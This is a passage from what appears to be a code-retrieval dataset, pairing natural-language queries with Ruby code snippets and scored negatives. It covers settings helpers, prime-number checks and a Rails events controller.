content.alias)\n end \n\n # Add views\n ContentManagerSystem::View.all(:block => false).map do |view|\n pages.store(view.title, view.url)\n end\n\n return pages\n\n end", "def theme_settings\n (settings_data ? settings_data['general'].presence : nil) || {}\n end", "def page_info\n @page_info ||= PageInfo.intern(@sssn, controller_name, search_form)\n end", "def setting(name)\n\t\t\tval = config.settings.where(\"name = ?\", name.to_s).first\n\t\t\tif val.nil?\n\t\t\t\tval = config.control_system.zones.joins(:settings).where('settings.name = ?', name.to_s).first\n\t\t\t\tval = val.settings.where(\"name = ?\", name.to_s).first unless val.nil?\n\t\t\t\t\n\t\t\t\tval = config.dependency.settings.where(\"name = ?\", name.to_s).first if val.nil?\n\t\t\tend\n\t\t\t\n\t\t\tif val.present?\n\t\t\t\tcase val.value_type\n\t\t\t\t\twhen 0\n\t\t\t\t\t\treturn val.text_value\n\t\t\t\t\twhen 1\n\t\t\t\t\t\treturn val.integer_value\n\t\t\t\t\twhen 2\n\t\t\t\t\t\treturn val.float_value\n\t\t\t\t\twhen 3\n\t\t\t\t\t\treturn val.datetime_value\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\treturn nil\n\t\tend", "def pages\n @pages \n end", "def get_settings(settings_file = nil)\n @settings_file ||=\n settings_file || @settings_file_manager.get_settings_file\n @settings_file\n end", "def profile_setting_list\n\t\t# find the home address\n\t\t@home_addresses = @profile_setting.addresses.where(address_type: \"home\")\n\tend", "def settings\n @settings ||= {}\n end", "def add_settings_to_pages\n\t\ttemplate.pages.each do |page|\n\n\t\t\t# get property definition ids that have been inserted already\n\t\t\tset_ids = page.property_settings.map(&:property_definition_id)\n\n\t\t\t# is this definition part of that? if not, add it.\n\t\t\tif not set_ids.include? self.id then\n\t\t\t\tnew_setting = PropertySetting.new({:page => page, :property_definition => self})\n\t\t\t\tnew_setting.save\n\t\t\tend\n\t\tend\n\tend", "def system_space?\n SYSTEM_SPACE_PAGE_MAP.each do |page_number, type|\n # We can't use page() here, because system_space? need to be used\n # in the Innodb::Page::Sys.parse to determine what type of page\n # is being looked at. Using page() would cause us to keep recurse\n # infinitely. Use Innodb::Page.new instead to load the page as\n # simply as possible.\n test_page = Innodb::Page.new(self, page_data(page_number))\n return false unless test_page.type == type\n end\n true\n end", "def get_settings(opts = {})\n data, _status_code, _headers = get_settings_with_http_info(opts)\n data\n end", "def locales\n self.site.locales || []\n end", "def core_getHideUsersSettings\n return CORE_SUPERUSERSHIDESETTINGS if defined? CORE_SUPERUSERSHIDESETTINGS\n # accedo al config.yml\n directory = core_getCacheDirectory\n config = YAML.load(\n File.read(File.expand_path(\"#{directory}/config.yml\", __FILE__))\n )\n # controllo che il file di configurazione esista e abbia i dati necessari\n return false if !config['hide_users'] || config['hide_users'].nil?\n # estraggo lista impostazioni utenti da nascondere\n settings = config['hide_users'].split(',')\n # definisco output\n output = []\n # riempio file di output\n settings.each do |setting|\n setting.slice! ' '\n if setting\n values = setting.split('to')\n raise 'Permission value not correct on hide_users config' unless (1..11).to_a.include? values.first.to_i\n raise 'Permission value not correct on hide_users config' unless (1..11).to_a.include? values.last.to_i\n output.push([values.first, values.last])\n end\n end\n # ritorno l'output\n return output\n end", "def settings\n @settings ||= {}\n end", "def app_settings\n settings = {}\n Settings::AppSettingsVars.each do |a|\n val = Settings.const_get(a)\n rescue StandardError => e\n val = e.to_s\n ensure\n settings[a] = val\n end\n\n settings\n end", "def set_admin_page_info\n @page = params[:page] || '1'\n @page_size = (params[:page_size].blank? || params[:page_size] != '1000000' ? '10' : '1000000')\n end", "def settings\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n make_get_call('/account/settings').settings\n end", "def exists?(pagefile)\n @exists ||= begin\n logger.trace(\"Checking if #{pagefile} exists by running: Get-CimInstance Win32_PagefileSetting | Where-Object { $_.name -eq $($pagefile)} \")\n powershell_code = <<~CODE\n $page_file_name = '#{pagefile}';\n $pagefile = Get-CimInstance Win32_PagefileSetting | Where-Object { $_.name -eq $($page_file_name)}\n if ([string]::IsNullOrEmpty($pagefile)) { return $false } else { return $true }\n CODE\n powershell_exec!(powershell_code).result\n end\n end", "def storeMetaDataArrayFromSettings()\n @metaArray = [] \n #@settings.instance_variable_get(:@permutations)}\n #File.open(metaDataFile).each{ |line|\n #separate entries by commas \n\n # metaSettings = @settings.instance_variable_get(:@meta)\n metaSettings = opthash[\"--meta\"]\n if metaSettings =~ /\\,/ \n metaSettings.split(\",\").each{ |val| \n @metaArray.push(val.strip.gsub(/\\ /,\"\"))\n } \n #separate entries by tabs \n elsif metaSettings =~ /\\t/ \n metaSettings.split(\"\\t\").each{ |val| \n @metaArray.push(val.strip.gsub(/\\ /,\"\"))\n } \n #otherwise simply store entry\n else \n @metaArray.push(metaSettings.strip.gsub(/\\ /,\"\"))\n end\n\n #make sure we have unique list \n @metaArray.uniq! \n #}\n end", "def raw_system_properties(addr, user, password)\n http_get(\n addr,\n '/system/console/status-System%20Properties.txt',\n user,\n password\n ).body\n end", "def settings\n\t\traise NotImplementedError\n\tend", "def get_own_system(opts = {})\n data, _status_code, _headers = get_own_system_with_http_info(opts)\n data\n end", "def pages\n @pages\n end" ]
[ "0.63217753", "0.57905066", "0.561234", "0.5383338", "0.5215765", "0.5204456", "0.5113689", "0.5069442", "0.5020878", "0.5013927", "0.49730808", "0.49660733", "0.49592885", "0.49583194", "0.49580768", "0.49455833", "0.4930409", "0.4902087", "0.4901235", "0.4901235", "0.49011594", "0.48805365", "0.48607126", "0.4804492", "0.4790628", "0.47880793", "0.47880477", "0.47835985", "0.4782935", "0.47724095", "0.4764724", "0.47551554", "0.4715584", "0.4709861", "0.46795905", "0.4668104", "0.46585724", "0.46421325", "0.4636904", "0.4631422", "0.4617878", "0.46170974", "0.46059892", "0.4583947", "0.4570128", "0.45683852", "0.45576027", "0.45570984", "0.45465222", "0.45248047", "0.45150584", "0.45148322", "0.45100528", "0.4506613", "0.45054302", "0.45029712", "0.44976404", "0.4495804", "0.44948792", "0.44940352", "0.44935372", "0.44912004", "0.44874913", "0.44823343", "0.4482322", "0.44811308", "0.4474312", "0.44710395", "0.4466137", "0.44608903", "0.4456563", "0.44485635", "0.44452825", "0.44397494", "0.44397494", "0.44370657", "0.4429395", "0.441996", "0.44170788", "0.44118205", "0.4406237", "0.4403979", "0.4400479", "0.43874052", "0.4385745", "0.4381069", "0.4377743", "0.43725327", "0.43660897", "0.43642953", "0.4363685", "0.4362675", "0.4360056", "0.43529636", "0.43521187", "0.43521008", "0.4348037", "0.43442973", "0.43430987", "0.43426433" ]
0.6515757
0
Prime number if we have a remainder from divding by 2 if any number is less than or = to 1 its not a prime retrun false Check all numbers inside on int greater than with no 1 remainder if there are any numbers with a remainder = to 0 returns false. Anything else return true.
def prime?(int) if int <= 1 return false else if (2...int).any? {|n| int % n == 0} return false else return true end end binding.pry end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def prime?(int)\n if int < 0 || int == 0 || int == 1 \n return false \n\n else\n (2...int).to_a.all? {|num| int % num != 0}\n\n end\nend", "def prime?(integer)\n denominators = (2..integer - 1).to_a \n if integer < 2\n false \n else \n !(denominators.any? do |denominator| \n integer % denominator == 0\n end)\n end\nend", "def PrimeNumber?(number)\n return false if number<2 || number%2 ==0\n (3..number-1).select(&:odd?).each do |i|\n return false if number%i == 0\n end\n true\nend", "def prime?(int)\n if int >= 2\n # why create a range of #'s ~> testing to see if int is diviable by any number in the range\n # range = (2...int).to_a\n\n # all will return true when empty []\n # using implicit block which renders true\n # range.all? do |num|\n # int % num != 0\n # end\n\n # range.all? {|num| int % num != 0 }\n\n (2...int).all? {|num| int % num != 0 }\n \n else \n false\n end\nend", "def prime?(num)\n if num == 2\n true\n elsif num > 1 && num % num == 0 && num % 1 == 0 && !(2 .. (num - 1)).to_a.any?{|number| num % number == 0}\n true\n else\n false\n end\nend", "def prime?(num) \n return false if !num.integer? #integer is # that is not a fraction\n return false if num < 2\n return true if num == 2\n (2..num-1).each {|int| return false if num % int == 0}\n true\nend", "def is_prime?(num)\n if !num.is_a?(Integer) || ( num.class == Float && !num.nan? && num == num.floor ) || num <= 1\n false\n else\n (2...num).each do |i|\n if num % i == 0\n return false\n end\n end\n true\n end\nend", "def is_prime?(integer)\n return false if integer == 1\n (2...integer).to_a.all? {|num| integer % num != 0}\nend", "def prime?(number)\n if number > 1 \n number_range = (2..number-1).to_a\n number_range.detect{ |test_number| number % test_number == 0} ? false : true\n else\n false\n end\nend", "def prime2?(number)\n (2...number).all?{ |divisor| number % divisor == 0 }\nend", "def isPrime(num)\n \n prime_test = 3\n if num.odd? && num != 1 && num.is_a?(Integer)\n while (num % prime_test != 0) && prime_test < (num / 5*7*11 ) do prime_test += 2 end\n prime_test = num if (num % prime_test != 0) && prime_test < num\n else\n prime_test = num if num == 2\n end\n return (num == prime_test) ? true : false\n \n\n # #===== other sol 1:\n # require 'prime'\n # num.prime?\n \n # #===== other sol 2:\n # num > 1 && (1..num/2).select {|n| num % n == 0}.size == 1 ? true : false\n \n # #===== other sol 3:\n # return false if num < 2\n # (2...num).to_a.select{|x| num%x == 0}.compact.empty?\nend", "def prime?(number)\n if number >= 2\n (2..number - 1).all? do |x|\n number % x != 0\n end\n else\n return false\n end\nend", "def prime_checker(number)\n (2..number - 1).each do |divisor|\n if number % divisor == 0\n return false\n end\n end\n true\nend", "def prime_alt_1(number)\n return false if number <=1\n max_div = Math.sqrt(number)\n (2..max_div ).each do |x|\n if (number % x)== 0\n return false\n end\n end\n return true\nend", "def prime?(num)\n return false if num == 1\n return true if num == 2 or num == 3 or num == 5 or num == 7\n return false if num % 2 == 0 or num % 3 == 0 or num % 5 == 0 or num % 7 == 0\n (11..Math.sqrt(num).ceil).each do |i| \n return false if num % i == 0\n end\n true \nend", "def is_prime_number(num)\n (2...num).all? {|n| num % n != 0}# has factors\nend", "def isPrime?(num)\n (2...num).each do |rangeNum|\n if num % rangeNum == 0\n return false\n end\n end\n return true\nend", "def prime?(int)\n return false if int <= 1\n (2..Math.sqrt(int)).none? { |i| (int % i).zero? }\nend", "def prime?(num)\n if 0 == num or 1 == num\n return false\n else\n return (2..Math.sqrt(num)).all? { |x| num % x != 0}\n end\nend", "def is_prime?(num)\n if !is_integer?(num)\n return false\n elsif num <= 1\n return false\n else\n (2..(num-1)).each do |el|\n if num % el == 0\n return false\n end\n end\n end\n return true\nend", "def is_prime?(number)\n remainders = (2...number).map { |d| number % d}\n !remainders.include?(0) && number > 1\nend", "def prime?(i)\n if i <= 1\n false\n else\n #(range_of_numbers[i] / 1) == range_of_numbers[i] || 1\n range_of_numbers = (2...i).to_a\n range_of_numbers.all? {|number| i % number != 0}\n end\nend", "def prime?(num)\n if num < 2\n return false\n end\n\n (2...num).each do |divisor| \n if num % divisor == 0\n return false\n end\n end\n\n return true\nend", "def prime?(integer)\n return false if integer < 2 || (integer.even? && integer != 2)\n\n n = Math.sqrt(integer).floor\n (2..n).none? { |x| (integer % x).zero? }\nend", "def is_prime?(number)\n (2...number).each do |divisor|\n return false if number % divisor == 0\n end\n\n true\n \nend", "def is_prime?(number)\n (2...number).each do |factor|\n if number % factor == 0\n return false\n end\n end\n return true\nend", "def prime?(num)\n if num < 2\n return false\n end\n\n (2...num).each do |divisor|\n if num % divisor == 0\n return false\n end\n end\n\n return true\nend", "def check_prime? n \nn_max_two=Math.sqrt(n).floor \nnot_count=0 \nfor i in 2..n_max_two\n if n % i == 0 \nnot_count +=1 \n end \nend \nif not_count > 0 \n return false \n else \n return true \nend \nend", "def isPrime? num\n\t_limit = Math.sqrt(num).floor\n\t_i = 3\n\n\twhile _i <= _limit\n\t\treturn false unless num % _i != 0\n\n\t\t_i += 2\n\tend\n\n\treturn true\nend", "def is_prime?\n return true if self == 2\n return false if self < 3\n for divisor in 2..(Math.sqrt(self).to_i)\n return false if self%divisor == 0\n end\n true\n end", "def prime?(num)\n Math.sqrt(num).to_i.downto(2).each { |i| return false if (num % i).zero? }\n true\nend", "def is_prime?(num)\n return true if num == 1\n (2...num).all? {|i| (num % i) != 0}\nend", "def is_prime?(number)\n (2..(number - 1)).each do |divisor|\n return false if number % divisor == 0\n end\n\n true\nend", "def is_prime?(number)\n (2..(number - 1)).each do |divisor|\n return false if number % divisor == 0\n end\n\n true\nend", "def is_prime?(number)\n (2..(number - 1)).each do |divisor|\n return false if number % divisor == 0\n end\n\n true\nend", "def isPrime num\n\tif num == 1\n\t\treturn false\n\tend\n\tstop = num - 1\n\t(2..stop).each do |n| \n\t\tif (num % n) == 0 \n\t\t\treturn false\n\t\tend\n\tend\n\treturn true\nend", "def prime?(num)\n return false if num < 2\n (2..num - 1).each { |div| return false if num % div == 0 }\n true\nend", "def is_prime?(num)\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n true\nend", "def is_prime?(number)\n return false if number < 2\n (2...number).to_a.none?{ |integer| number % integer == 0 }\nend", "def check_prime? num\n return false if num <= 1\n Math.sqrt(num).to_i.downto(2).each {|i| return false if num % i == 0}\n true\nend", "def prime?(number)\n (2...number).each do |x|\n return false if (number % x).zero?\n end\n true\n end", "def prime?(num)\n return false if num == 1\n return true if num == 2\n (2...num).each do |divisor|\n return false if num % divisor == 0\n end\n true\nend", "def prime?(num)\n\tif num < 2\n\t\treturn false\n\tend\n \n \t(2...num).each do |factor|\n \tif num % factor == 0\n \treturn false\n end\n end\n \n \treturn true\nend", "def is_prime?(num)\n # Write your code here\n # (1..num).select { |element| num % element == 0 }.length == 2 ? true : false\n\n return false if num < 2\n\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n return true\nend", "def is_prime?(number)\n\tint = 2\n\t\n\twhile int <= (number ** 0.5) + 1\n\t\treturn false if number % int == 0 && int != number\n\t\tint += 1\n\tend\n\treturn true\nend", "def is_prime?(num)\n (2..(num - 1)).each do |divisor|\n return false if num % divisor == 0\n end\n\n true\nend", "def is_prime?(num)\n (2...num).each do |i|\n if num % i == 0\n return false\n end\n end\n num > 2\nend", "def prime?(number) #11\n start = 2\n if number > 1\n range = (start..number-1).to_a #[2, 3, 4, 5, 6, 7, 8, 9, 10]\n range.none? do |num_to_test|\n number % num_to_test == 0\n end\n else\n false\n end\nend", "def prime?(num)\n if num < 2\n return false\n end\n\n (2...num).each do |el|\n if num % el == 0\n return false\n end\n end\n true\nend", "def isPrime(num)\n return false if num <= 1\n (2...num).each { |div| return false if num % div == 0 }\n true\nend", "def isPrime?(num)\n return false if num < 2\n\n (2...num).each { |factor| return false if num % factor == 0}\n\n true\nend", "def is_prime?(num)\n Math.sqrt(num).floor.downto(2).each do |i|\n false if num % i == 0\n end\n true\nend", "def is_prime?(num)\n (2...num).each do |el|\n return false if num % el == 0\n end\n true\nend", "def bi_prime?(num)\n (2...num).each do |i|\n if num % i == 0 && !((2...i).any? { |x| i % x == 0 })\n j = num / i\n return true if !((2...j).any? { |x| j % x == 0 })\n end\n end\n\n false\nend", "def isPrime?(num)\n if num < 2\n return false\n end\n\n (2...num).each do |n|\n if num % n == 0\n return false\n end\n end\n return true\nend", "def prime?(num)\n divis_array = (2...num)\n if num < 2 \n false\n # num == 2 elsif \n # true \n else \n divis_array.each do |prime_test|\n if num % prime_test == 0 \n return false\n end\n end\n true # true after prime test has completly run\n end\nend", "def isPrime?(num)\n for i in 2...(num)\n if((num % i) == 0)\n return false\n end\n end\n return true\nend", "def is_prime?(n)\n (2..n-1).to_a.all? {|num| n % num != 0}\nend", "def prime?( number )\n return false if number <= 1 # checks in case the number is 0, 1, or a negative number (b/c those are technically not prime numbers)\n\n max = Math.sqrt( number )\n\n (2..max).any? do |i|\n return false if number % i == 0\n end\n\n true\nend", "def prime?(num)\n if num < 2\n return false\n end\n\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n\n return true\nend", "def prime?(num)\n # byebug\n return false if num < 2\n\n (2...(num)).each do |factor|\n if num % factor == 0\n return false\n end\n end\n true\nend", "def prime?(num)\n return false if num < 2\n\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n\n return true\nend", "def prime?(value)\n if value <= 1 || value == 0# || #value == 1\n return false\n elsif\n (2..value - 1).each do |i|\n if value % i == 0\n return false\n end\n end\n end\n true # <= need explanation\nend", "def is_prime?(num)\n (2...num).each do |n|\n if num % n == 0\n return false\n end\n end\n true\nend", "def prime?(num)\n return false if num <= 1\n Math.sqrt(num).to_i.downto(2).each {|i| return false if num % i == 0}\n true\n end", "def prime?(number)\n return false if number < 2\n (2..number - 1).each do |x|\n if (number % x) == 0\n return false\n end\n end\n true\nend", "def isPrimeMod(num)\n\tif num == 1\n\t\treturn false\n\telsif num < 4 # 2 and 3 are prime\n\t\treturn true\n\telsif num % 2 == 0\n\t\treturn false\n\telsif num < 9 # 4, 6, and 8 are already out, so 5 and 7\n\t\treturn true\n\telsif num % 3 == 0\n\t\treturn false\n\telse\n\t\tr = Math.sqrt(num).div(1) # sqrt(num) rounded to greatest integer such that r*r<=num\n\t\tf = 5\n\t\twhile f <= r\n\t\t\tif num % f == 0\n\t\t\t\treturn false\n\t\t\tend\n\t\t\tif num % (f + 2) == 0\n\t\t\t\treturn false\n\t\t\tend\n\t\t\tf += 6\n\t\tend\n\t\treturn true\n\tend\nend", "def is_prime?(num)\n return false if num.even?\n for i in (2..((num/2.round) + 1))\n return false if num % i == 0\n end\n return true\nend", "def is_prime?(num)\n return false if num.even?\n for i in (2..((num/2.round) + 1))\n return false if num % i == 0\n end\n return true\nend", "def prime?(num)\n return false if num < 2\n\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n return true\nend", "def prime?(num)\n return false if num < 2\n\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n return true\nend", "def is_prime?(number)\n factors = (2...(number))\n if number == 2 || number == 3\n return true\n elsif number == 0 || number == 1\n return false\n elsif factors.any? {|factor| number % factor == 0 }\n return false\n else return true\n end\nend", "def is_prime?(num)\n return 2 if num == 2\n (2...num).each do |n|\n return false if num % n == 0\n end\n true\nend", "def is_prime?(num)\n (2..(num/2)).each { |divisor| return false if num % divisor == 0 }\n true\nend", "def prime?(number)\n\tx = Math.sqrt(number).ceil\n\tfor num in 2..x\n\t\tif number % num == 0\n\t\t\treturn false\n\t\tend\n\tend\n\treturn true\nend", "def is_prime(num)\n (2..Math.sqrt(num).floor).each do |i|\n if num % i == 0\n return false\n end\n end\n return true\nend", "def prime?(num)\n return false if num < 2\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n true\nend", "def prime?(num)\n return false if num < 2\n\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n\n true\nend", "def prime?(num)\n if num<2\n return false\n end\n (2..num/2).each do |n|\n if num%n==0\n return false\n end\n end\n return true\nend", "def is_prime?(x)\n return false if x == 1\n return true if x == 2 || x == 3\n return false if x % 2 == 0 || x % 3 == 0\n limit = (x ** (1/2.0)).to_i\n i = 1\n a = 6*i - 1\n b = 6*i + 1\n\n while a <= limit || b <= limit\n return false if x % a == 0 || x % b == 0\n i += 1\n a = 6*i - 1\n b = 6*i + 1\n end\n\n return true\nend", "def prime?(num)\n\t(2..Math.sqrt(num)).each do |x|\n\t\tif num % x == 0\n\t\t\treturn false\n\t\tend\n\tend\n\treturn true\nend", "def is_prime?(num)\n (2...num).none? { |div| num % div == 0 }\nend", "def isPrime(num)\n num > 2 and (1..num).select{|value| num%value == 0}.length == 2 ? true : false\nend", "def is_prime?\n return false if num <= 1\n Math.sqrt(num).to_i.downto(2).each {|i| return false if num % i == 0}\n true\nend", "def isPrime(num)\n\tif num % 2 == 0\n\t\treturn false\n\tend\n\tmax = Math.sqrt(num)\n\tfor i in 3..max \n\t\tif num % i == 0\n\t\t\treturn false\n\t\tend\n\tend\n\treturn true\nend", "def is_prime?(number)\n return false if number < 2\n \n (2..number - 1).each do |n|\n return false if number % n == 0\n end\n\n true\nend", "def is_prime?(num)\n (2...num).each {|el| return false if num % el == 0}\n true\nend", "def prime?(num)\r\n if num <= 1 || num == 0 || num == 1\r\n return false\r\n elsif \r\n (2..num - 1).each do |i| \r\n if num % i == 0 \r\n return false \r\n end \r\n end \r\n end \r\n true \r\n end", "def prime number\n return true if number==2\n max = Math.sqrt number\n for i in 2..max\n return false if number%i==0\n end\n return true\nend", "def anti_prime?(number)\n divisor_count = divisors(number)\n (2..number).each do |num| \n return false if divisors(num) > divisor_count \n end \n true\nend", "def prime?(num)\n\t(2..Math.sqrt(num)).each do |x|\n\t\tif num % x == 0\n\t\t\treturn false\n\t\tend\n\tend\n\ttrue\nend", "def isprime?(num)\n\n return false if num<2\n\n (2...num).each do |factor|\n return false if num % factor == 0\n end\n\n return true\n\nend", "def is_prime?(num)\n return false if num <= 1\n\n (2...num).each do |fact|\n return false if num % fact == 0\n end\n\n true\nend", "def is_prime?(number)\r\n (2...number).each do |n|\r\n return false if number % n == 0\r\n end\r\n true\r\nend", "def prime?(num)\n if num < 2\n return false\n elsif num == 2\n return true\n end\n\n (2...num).each do |n|\n if num % n == 0\n return false\n end\n end\n true\nend", "def is_prime?(num)\r\n (2..(num ** 0.5).to_i).each {|factor| return false if num % factor == 0 && num != factor} # no need to check above square root\r\n true\r\nend", "def is_prime?(num)\n for i in (2...num/2)\n if num % i == 0\n return false\n end\n end\n return true\nend", "def is_prime?(num)\n (2..num-1).each do |x|\n return false if num % x == 0\n end\n true\nend", "def prime?(num)\n return false if num == 1\n (2...num).each do |number|\n return false if num % number == 0\n end\n return true\nend", "def prime?(n)\n if n <= 1\n return false\n else\n (2...n).to_a.all? do |i|\n n % i != 0\n end\n end\nend", "def prime?(num)\n return true if num == 2\n (2...num).each { |x| return false if num % x == 0 }\n true\nend" ]
[ "0.83813685", "0.81924623", "0.8172267", "0.8169794", "0.81511885", "0.81214017", "0.79877347", "0.79760754", "0.79427046", "0.7936402", "0.7921487", "0.7916965", "0.7890027", "0.7884787", "0.78742445", "0.78583807", "0.7851414", "0.7843667", "0.784133", "0.7840169", "0.7839174", "0.783368", "0.7828995", "0.7806401", "0.78040475", "0.77981824", "0.77969974", "0.7795019", "0.77853936", "0.7780993", "0.77795196", "0.7773283", "0.7768682", "0.7768682", "0.7768682", "0.77620196", "0.77461326", "0.7739793", "0.77390736", "0.77375317", "0.7728887", "0.7721618", "0.77202666", "0.77170426", "0.7712132", "0.77083176", "0.770518", "0.77007806", "0.7698305", "0.7694682", "0.76920146", "0.7690177", "0.76872724", "0.7681584", "0.7677862", "0.7677001", "0.7674665", "0.7672301", "0.76711434", "0.7670986", "0.767039", "0.7669546", "0.76680404", "0.7666281", "0.76633805", "0.7660698", "0.7660539", "0.76597214", "0.76597214", "0.7658721", "0.7658721", "0.7652069", "0.76493424", "0.76490325", "0.7644971", "0.7644113", "0.76440054", "0.7641956", "0.7640042", "0.76391286", "0.76385134", "0.7637977", "0.76303554", "0.76289713", "0.76266557", "0.7625681", "0.7625404", "0.76233184", "0.76173615", "0.76167387", "0.76113594", "0.7611017", "0.76086015", "0.7608449", "0.7608143", "0.7607447", "0.7606661", "0.7602738", "0.7601589", "0.76009077", "0.76001424" ]
0.0
-1
GET /bet_events GET /bet_events.json
def index @bet_events = BetEvent.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n #returns all events from eventbrite API, need to change to pull from her endpoint\n @eventList = Event.retrieve_all_events params\n render json: @eventList, status: 200\n end", "def past_events\n @events = Event.past\n render json: @events, include: :talks\n end", "def events\n response = self.class.get('/v1/events.json')\n response.code == 200 ? JSON.parse(response.body) : nil\n end", "def get_events\n Resources::Event.parse(request(:get, \"Events\"))\n end", "def index\n @events = Event.all\n render json: @events, status: 200\n end", "def events\n url = 'https://api.artic.edu/api/v1/exhibitions?limit=35'\n\n res = RestClient.get(url)\n JSON.parse(res)\nend", "def get_events()\n @client.make_request(:get, @client.concat_user_path(\"#{CALL_PATH}/#{id}/events\"))[0]\n end", "def index\n @events = Event.live\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.live\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.find(:all)\n respond_to do |format|\n format.html\n format.json\n end\n end", "def get_events\n if @user.uuid.present?\n @events = @user.events.active_events.page(params[:page])\n paginate json: @events, per_page: params[:per_page]\n elsif @user.uuid == \"guest\"\n @events = Com::Nbos::Events::Event.active_events.where(tenant_id: @user.tenant_id)\n render json: @events\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def get_events\n response = request(:get, \"/devmgr/v2/events\")\n #status(response, 200, 'Failed to get current events from server')\n #JSON.parse(response.body)\n response\n end", "def index\n @events = Event.all\n render json: @events\n end", "def index\n @event = Event.all\n render json: @event\n end", "def index\n @upcoming_events = Event.upcoming\n @past_events = Event.past\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n render json: @events\n end", "def index\n @events = Event.all\n\n render json: @events, include: :talks\n end", "def index\n @events = Event.where(adventure_id: params[:adventure_id])\n\n render json: @events\n end", "def index\n respond_to do |format|\n format.html\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.json { render json: @events }\n end\n end", "def index\n @bid_events = BidEvent.all\n end", "def index\n render json: Event.all, status: :ok\n end", "def get_event_list ( year )\n get_api_resource \"#{@@api_base_url}events/#{year}\"\n end", "def state_events(state)\n api_return = RestClient.get('https://app.ticketmaster.com/discovery/v2/events.json?stateCode=' + state + '&apikey=' + $ticket_master_api_key)\n JSON.parse(api_return)\nend", "def index\n @events = Event.all\n respond_to do |format|\n format.html \n format.json \n end\n end", "def index\n @events = Event.all\n respond_to do |format|\n format.html \n format.json do\n render :json => {events: @events}\n end\n end\n end", "def index\n response = { events: Event.all }\n respond_to do |format|\n format.json { render json: response.to_json }\n format.html { render :index }\n end\n end", "def index\n begin\n events = Event.all\n render :json => {events: ActiveModel::ArraySerializer.new(events, each_serializer: EventsSerializer), :code => 200}, status: :ok\n rescue Exception => e\n logger.error {\"Error while populating list of events. ErrorMessage: #{e.message}, Params: #{params.inspect}\"}\n render json: {error: e.message, code: 500}\n end\n end", "def show\n event_id = params[:id]\n if event_id.present?\n @event = Com::Nbos::Events::Event.active_events.where(id: event_id, tenant_id: @user.tenant_id)\n if @event.present?\n render :json => @event\n else\n render :json => {messageCode: \"event.notfound\", message: \"Event Not Found\"}, status: 404\n end\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def index\n if params[:event_id].blank?\n @offerings = Offering.all\n else\n @offerings = Offering.find_all_by_event_id params[:event_id]\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offerings }\n end\n end", "def index\n @events = getUpcomingEvents()\n \n @page_title = \"Events\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def get_team_history_events ( team_key )\n get_api_resource \"#{@@api_base_url}team/#{team_key}/history/events\"\n end", "def get_event(session, options={})\n json_request \"get\", {:session => session}, options\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @events }\n end\n end", "def index\n tenantId = params[:tenantId]\n if tenantId.present?\n @events = Com::Nbos::Events::Event.active_events.where(tenant_id: tenantId).page(params[:page])\n paginate json: @events, per_page: params[:per_page]\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def index\n\t\t@events = Event.all.order('created_at desc')\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render :json => @events }\n\t\tend\n\tend", "def events\n data[\"events\"]\n end", "def get_team_event_list ( team_key, year )\n get_api_resource \"#{@@api_base_url}team/#{team_key}/#{year}/events\"\n end", "def list\n @events = Event.coming_events\n respond_to do |format|\n format.html do\n render layout: 'events'\n end\n format.json do \n events = @events.map {|event| {event: event, users: event.users, applied: event.users.include?(current_user) }}\n render json: events \n end\n end\n end", "def index\n respond_with(@events)\n end", "def index\n @verbindung = Verbindung.find(params[:verbindung_id])\n @events = Event.where(:verbindung_id => @verbindung.id).where(\"date >= ?\", Date.today).order(\"date\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @event, methods: [:talks] }\n end\n end", "def pebble\n provider = Account.find(params[:provider_id])\n\n dates = EventDate.where(\"datetime>:now AND stage_id IN (:stage_id)\", {\n :now => (Time.now + 2.hours),\n :stage_id => 